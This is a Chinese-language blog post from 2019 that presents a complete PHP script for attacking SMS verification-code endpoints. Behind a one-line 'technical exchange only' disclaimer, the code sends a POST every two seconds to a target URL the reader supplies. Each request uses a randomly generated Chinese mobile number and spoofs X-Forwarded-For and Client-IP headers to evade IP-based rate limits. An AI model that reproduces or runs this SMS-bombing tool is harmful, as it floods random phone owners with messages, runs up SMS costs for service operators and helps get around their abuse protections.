PHP 攻擊簡訊驗證碼介面

woann發表於2019-01-07

宣告 僅供技術交流,如有其它非法用途,和本部落格無關

程式碼如下

<?php
header("Content-type: text/html; charset=utf-8");
ini_set('display_errors','On');
function curl_post($url, array $params = array(),$ip, $timeout)
{
    $this_header = array(
        "charset=UTF-8",
        'X-FORWARDED-FOR:'.$ip,
        'CLIENT-IP:'.$ip
    );
    $ch = curl_init();//初始化
    curl_setopt($ch, CURLOPT_URL, $url);//抓取指定網頁
    curl_setopt($ch,CURLOPT_HTTPHEADER,$this_header);
    curl_setopt($ch, CURLOPT_HEADER, 0);//設定header
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//要求結果為字串且輸出到螢幕上
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_POST, 1);//post提交方式
    curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/43.0.2357.81 Chrome/43.0.2357.81 Safari/537.36");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    $data = curl_exec($ch);//執行curl
    curl_close($ch);
    return ($data);
}
swoole_timer_tick(2000, function ($timer_id) {
    $ip = get_rand_ip();
    $phone = getPhone();
    //這裡新增簡訊驗證碼介面ur,並傳入對應手機號引數(引數key看你要攻擊的介面是啥,我這裡是phone)
    $res = curl_post('替換成簡訊介面url',['phone'=>$phone],$ip,30);
    if($res == '0'){
        echo '驗證碼傳送成功phone:'.$phone.'time:'.date('Y-m-d H:i:s').' 虛擬ip:'.$ip.PHP_EOL;
    }else{
        echo $res.PHP_EOL;
    }
});

function getPhone()
{
    $arr = array(
        130,131,132,133,134,135,136,137,138,139,
        144,147,
        150,151,152,153,155,156,157,158,159,
        176,177,178,
        180,181,182,183,184,185,186,187,188,189,
    );
    return $arr[array_rand($arr)].mt_rand(1000,9999).mt_rand(1000,9999);
}

function get_rand_ip(){
    $arr_1 = array("218","218","66","66","218","218","60","60","202","204","66","66","66","59","61","60","222","221","66","59","60","60","66","218","218","62","63","64","66","66","122","211");
    $randarr= mt_rand(0,count($arr_1) - 1);
    $ip1id = $arr_1[$randarr];
    $ip2id=  round(rand(600000,  2550000)  /  10000);
    $ip3id=  round(rand(600000,  2550000)  /  10000);
    $ip4id=  round(rand(600000,  2550000)  /  10000);
    return  $ip1id . "." . $ip2id . "." . $ip3id . "." . $ip4id;
}
本作品採用《CC 協議》,轉載必須註明作者和本文連結

相關文章